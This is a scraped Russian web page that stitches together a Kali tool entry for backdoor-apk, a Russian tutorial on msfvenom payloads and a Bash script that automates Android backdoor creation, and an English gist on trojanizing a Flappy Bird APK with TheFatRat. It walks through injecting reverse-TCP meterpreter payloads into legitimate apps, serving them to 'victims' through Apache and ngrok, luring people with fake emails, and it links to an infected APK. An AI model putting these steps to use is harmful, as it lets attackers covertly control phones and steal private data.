Создание бэкдора для андроид

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

backdoor-apk

Описание backdoor-apk

backdoor-apk – это шелл скрипт, который упрощает процесс добавления бэкдора в любой APK файл для Android.

Программа поставляется со сторонними компонентами android-sdk-linux, apktool и proguard5.2.1.

Автор: Dana James Traversie

Лицензия: Apache V2.0

Справка по backdoor-apk

У программы нет справки и только одна опция – имя первоначального файла APK, в который будет зашит бэкодр. Изменить настройки вы можете в первых строках файла backdoor-apk.sh. В них вы можете задать IP адрес и порт для связи с Metasploit, пути до сторонних модулей, имя «файла-крысы», путь до лога и некоторые другие опции:

Руководство по backdoor-apk

Страница man отсутствует.

Примеры запуска backdoor-apk

Внедрить бэкдор в APK файл (BaiduBrowser.apk):

Перекомпилированный APK вы найдёте в директории ‘original/dist‘. Установите этот APK на совместимое устройство Android, запустите его, и управляйте подключением meterpreter на указанном IP и порту.

Установка backdoor-apk

Установка в Kali Linux

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты backdoor-apk

Это утилита командной строки.

Инструкции по backdoor-apk

Ссылки на инструкции будут добавлены позже.

Источник

Автоматизируем создание бекдора для Android

Все когда то задумывались как шпионить за мобильными устройствами. На самом деле — это проще чем кажется.

Сегодня мы научимся создавать пейлоады с помощью популярного инструмента, известного как msfvenom, и исследуем опции, доступные в этом инструменте, для создания полезных нагрузок с различными расширениями и методами.

Слово payload буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.

Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.

Msfvenom удивителен тем, что у него есть возможность быстро и легко генерировать шелл-код, вы можете напрямую использовать полезные нагрузки, которые находятся в Metasploit Framework (windows/shell_reverse_tcp, linux/x86/meterpreter/reverse_tcp и многое другое). В большинстве случаев Msfvenom потребуется при разработке эксплойтов, таких как переполнение буфера.

Для генерации полезной нагрузки обязательными являются два флага: -p и -f.

  • -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
  • lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
  • lport=4444 – порт, к которому будет делаться обратное соединение
  • -f exe – формат полезной нагрузки (исполнимый файл Windows)
  • -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл
Читайте также:  Android virtual device manager что это

После того как вы сгенерировали пейлоад нужно запустить exploit/multi/handler через msfconsole

На «атакующей» машине запускаем Metasploit:

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.

Нужно установить настройки – IP и порт локальной машины:

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.

Когда настройки сделаны, запустите выполнение модуля:

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:

Для показа справки наберите ? или help. Разнообразных команд много. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:

Автоматизация генерации пейлоада

Писать софт будем на Bash.

При нажатии CTRL C программа спросит хотим ли мы удалить сгенерированный бекдор, если пользователь нажмет y, остановиться служба apache и .apk будет удален.

Функция, которая сгенерирует пейлоад:

Функция шифрования полученного бекдора (keytool зашифрует файл а jarsigner его подпишет):

Для того что бы мы смогли передать файл “жертве” мы захостим его у себя на сервере apache и с помощью ngrok-а пробросим порты:

В конце файла мы запускаем функции:

После того как “жертва” скачала файл и запустила его мы получим сессию meterpreter:

Некоторые из команд доступные нам:

Заключение

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

Источник

davidlares / ANDROID.md

Backdooring Android Apps with FatRat and Metasploit Framework

We have to set a point, mobile applications are a HUGE market today. Many entrepreneurs left behind web-based experiences for building disruptive mobile solutions. The battle of smart-phones remains today between IOs and Android. Both have pros and cons, they are designed and configured with default security settings that maybe not the ideal for non-experienced people.

This writing demonstrates a practical and simple example on how to generate a Reverse TCP back-door on an existing APK file.

This is a pretty common «Social Engineering Attack», and it’s focused on generating a reverse TCP connection, where the attacker easily can generate shell access to your Android phone in the time you are using the infected application and do some harmful stuff or access your private information without any concern.

And when a mean “Social Engineering Attacks” is because the way it propagates, I’ll explain in a bit how are the typical phases of this attacks.

This demo was created on a controller and local lab, but it can be done on WAN networks easily.

Social Engineering (in simple words)

n order to explain the concept very clearly, we can split the term into two elements, where Social can set up as personal and professional lives, Engineering refers to performing tasks by following certain steps to achieving targets. That combined.

Social Engineering is a term that describes nontechnical intrusion that relies heavily on human interaction by tricking other people to break normal security procedures.

Читайте также:  Звонок для андроид sony

It’s pretty simple, really. It’s all about mocking or tricking people to use or download a Malware and take advantage of it for malicious purposes.

Social Engineering Phases

The attack can be summarized in something like this:

  1. Research: tries to gather information about the target, collected from various resources (dumpster living, website, docs, interactions).
  2. Hook: makes the initial move by trying to start a conversation with the selected target after the completion of the research phase.
  3. Play: make the relationship stronger and continue the dialog to exploit the relationship and get the desired information.
  4. Exit: walks out of the attack scene of stops the communication with the target without creating a scene or doing any suspicious.

The working Lab

A virtualized Kali Linux 2018.4 64 bits on Oracle Virtualbox.

A Samsung Galaxy S6 with Android 4.4 Kitkat with some regular security configurations.

Both machines where connected on the same LAN Network.

The key tool for this workshop is the FatRat Exploitation tool, this program written on Python, can easily generate backdoors on any existing Android application or almost any other device available with known payloads from the Metasploit Framework (and other payloads as well). This tool can perform a lot of other things, you can check the tool’s GitHub page here.

The installation process is quite simple, just keep in mind that can take some time because the dependencies installed.

Important: upgrade and update your Kali repositories before install it, this can save you time.

Great, let’s install FatRat:

Clone the repository from GitHub:

git clone https://github.com/Screetsec/TheFatRat.git

Inside the cloned repository, you will change the permissions on the setup.sh file for making it an executable file

chmod +x setup.sh && ./setup.sh

Follow the instructions

On the other side, we have the Metasploit Framework, this is an Open Source penetration tool used for developing and executing exploit code against remote target machines. Can be used to test vulnerabilities of computer systems in order to protect them and on the other hand it can also be used to break into remote systems.

This amazing tool is already installed on the Kali Linux OS.

Let’s pause a bit.

At this moment (if this your first time hearing about Metasploit Framework) I’ll need to go deeper on this explanation, because, there are some key terms that may be a little bit confusing for you. I previously said that this tool is used to test vulnerabilities, right? A vulnerability is a weakness that can compromise the security of any system.

This vulnerability is exploited by using an exploit, this exploit refers to software code which allows an attacker to take advantage of a vulnerability.

And finally, when the vulnerability is exploited, the payload acts, this means, we run some code on the target system for enabling the exploitation to persist on time

With all that said. Let’s work.

Let’s download a clean APK

In this example, I downloaded the Flappy Bird APK from here

This is the authentic APK game.

I personally renamed the download name to a simple flappybird.apk file and move it from the downloads directory to a custom folder named backdooring-android (this is optional)

When I was installing FatRat on my Kali, the installer asked if I want to set the fatrat command globally, I said yes , this maybe can be differ from your process

  1. By typing fatrat the system will evaluate and configure the necessary and available services
  2. Type 5, for Backdooring Original apk [Instagram, Line,etc]
  3. Set up the Local Host (LHOST) and Local Port (LPORT). This will represent the Host machine IP address (Kali) and any unused port for hearing back the TCP session handshake (I’ll explain this later)
  4. Now, we have to type the location path of the flappybird.apk , in my case is on /root/backdooring-android/flappybird.apk
  5. Setting up the payload (Metasploit term) for the reverse TCP. Select the option 3: android/meterpreter/reverse_tcp
  6. Select 1: Use Backdoor-apk 0.2.2 this is the tool for creating the infected APK
Читайте также:  Обои для андроидов марихуаны

And that’s it. Meanwhile FatRat will decompile the original APK and after some internal process will generate a new infected APK with the default name of app_backdoor.apk

After this, we set the generate the listener to no , we are going to generate it manually using Metasploit Framework

Creating the Listener manually

The second part of this attack consists of setting the Host Machine (Kali) as a listener on the bidirectional TCP connection, that’s the main purpose of Reverse TCP shell attack though Social Engineering. The attack will have shell access to the Android machine without the user notice.

Let’s start by starting the msfconsole command

After this, we set the multi/handler exploit like this

Later, setting the payload (the same on the FatRat process)

> set PAYLOAD android/meterpreter/reverse_tcp

> set LHOST [the same as your Kali IP]

> set LPORT [The same as FatRat process]

Checking the Apache service status (it’s already installed)

Starting the service

Placing the infected backdoor (renamed-or-not) for the victims

In this LAN network environment, the attacker needs to expose this new infected APK on the Apache Server to the victim, by sending a fake email with the link or any other way for tricking the people to download the new «FlappyBird.apk» on their Android device.

Once the victim downloads the application and opens it, a new session on the listener will be created successfully, using the meterpreter (payload) shell. The attacker have now the complete access to target custom attacks or perform some privilege escalation from the CLI.

You can list the sessions, like:

And you also can select and interact with an active session using the -i flag

My resulting APK

You can download my infected FlappyBird.apk file here

I’m not pretty sure if by setting your Kali machine with an static IP address just like the one I used to, can make this Malware works correctly. But, if it’s the case, my working IP address was a class C IP address 192.168.2.120 and the 4444 port.

From LAN to WAN

A simple way to scaling a local IP address is using a simple tunneling tool called ngRok. This tool convert a simple 127.0.0.1 to something accessible to all public.

Check the docs for installation steps and authtoken setup.

After that you can set the ngrok command for TCP connections, like:

> ngrok tcp 1234 for TCP protocol on the 1234 protocol

The whole process is the same, but you will need to replace the LHOST (Web interface from ngrok) and LPORT (the port from the ngrok TCP connection) to the elements that ngrok provided to you.

Источник

Оцените статью